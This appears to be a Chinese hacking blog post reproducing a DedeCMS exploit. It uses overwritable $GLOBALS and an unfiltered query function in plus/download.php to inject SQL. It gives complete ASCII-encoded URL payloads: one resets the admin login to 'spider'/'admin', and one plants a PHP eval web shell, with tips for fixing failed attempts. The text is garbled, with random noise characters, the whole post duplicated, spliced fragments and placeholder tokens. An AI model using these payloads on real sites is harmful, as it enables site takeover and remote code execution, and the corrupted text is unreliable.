|
此漏洞无视gpc转义,过80sec注入防御。
$ x- [9 K" s4 |, t6 D0 p9 F补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?9 \/ J" k& g+ p1 m% F
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。. z, O: J* r7 x( r" R3 V4 O/ |
include/dedesql.class.php( B8 {' I1 a, Z7 ^8 b2 M0 f/ v$ |
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
" d2 g. s! W8 V8 B2 \; W' T同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2: I$ y/ T# E" S' d9 \1 _' _( |
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
" j3 q, T J4 y/ }6 B7 F; Tplus/download.php* R. }: q# K& O
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
% S' y: r4 w( k! Yadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:4 i3 K% S# j$ E' V+ b& k
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:( g. `" v% d! J: Z) }
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
" m( M$ I+ X% ]% q漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。' F2 ]- K4 e2 o8 h$ L' g, W
如果找不到后台,参见以前修改数据库直接拿SHELL的方法1 x% A1 G$ `: h- g
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
! @) O7 \8 N/ d' H2 w7 ~2 A9 E补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?# |2 F6 i2 |/ E- R
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。. ?1 i# {. w7 N9 k. ^
include/dedesql.class.php3 A- }1 i3 q/ b+ R1 I1 y2 s8 q0 K6 i
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
% U2 l9 P; \7 J同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2. f5 B! {; \# ]9 o' H* o
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。, Y0 r G/ t/ u
plus/download.php
, v3 o( g" n/ l/ V- Welse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):, S8 m. t- e7 d J% `
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
+ L6 s4 }4 r. ]UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
8 s( R. c& a4 ^' v r0 Shttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
4 Y4 }. [) v1 Q6 f% |8 A- i: V漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。/ g, V3 K" F$ H
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
! m C5 p8 {5 }* m7 D: C___FCKpd___6getshell:* r2 Z4 k; D5 S' \/ |, L
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m5 R- c. u# V1 e2 F/ J
http://127.0.0.1/plus/x.php
8 ^& Y1 S, l) _4 P% o. ]! yupdate成功后还要访问下 /plus/mytag_js.php?aid=1: u9 p! P, o( a2 n
失败原因:9 W n* K3 M1 W" l$ c% N
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)$ Q, `$ j# c" j9 c' H
配图:
2 P6 u l/ s- O7 E' d2 U1.查看dede当前版本
3 { U q2 U9 M2 p h9 @2 T
4 F8 G- _; M$ o" s1 G& C2.执行exp4 m/ g0 q/ C4 B j$ c3 ^& b
1 B) |' U0 S F0 l3 G5 Nhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台4 Z p* U4 l9 @
% [) u7 D0 V) ?) } |, D, r( dspider密码admin3 i7 q+ B' \& a3 v) E! u2 E
) ^! d/ _# T1 h9 @+ m, M2 h% mhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png1 M. I6 ^3 i- g" M- G1 W
原作者:imspider
5 V1 d- x# t2 T8 B5 v3 u& y2 X; n- w: @
本博客测试+配图+getshell
& m; f: h' p) L% X' T* x% w8 }POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
8 o/ ]$ T+ K: s+ X4 K8 C9 a3 x! M0 t- s: U& w0 P
getshell:
# Q& z- @' S' B' ~3 Y* k4 U, M___FCKpd___7会在plus目录生成 x.php 密码 m- L# Y7 E, C' M5 j5 `, C8 ^1 c" |
http://127.0.0.1/plus/x.php5 g& _2 y. C) t& j) \6 ?
update成功后还要访问下 /plus/mytag_js.php?aid=1
7 M D' o" Y C* d" }) D失败原因:
+ h3 O* ^; {5 Y$ ]+ v; o) P& b测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
; B3 O5 F i: P+ G& X) j/ V3 W配图:
T: W3 r% Z4 d* ]0 D1.查看dede当前版本
+ l9 T5 `" B3 q/ ?6 nhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
- \# m4 s; a: E) F+ @, h- ~2.执行exp# s( y" B, q1 y& n
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台) D- X- J' f# V) J# g! v: I
spider密码admin
: A3 g* }& D- S8 x! ?, k5 Ghttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
* m1 O% b( J: A3 v
1 e* z9 ^! ?/ @+ H |
|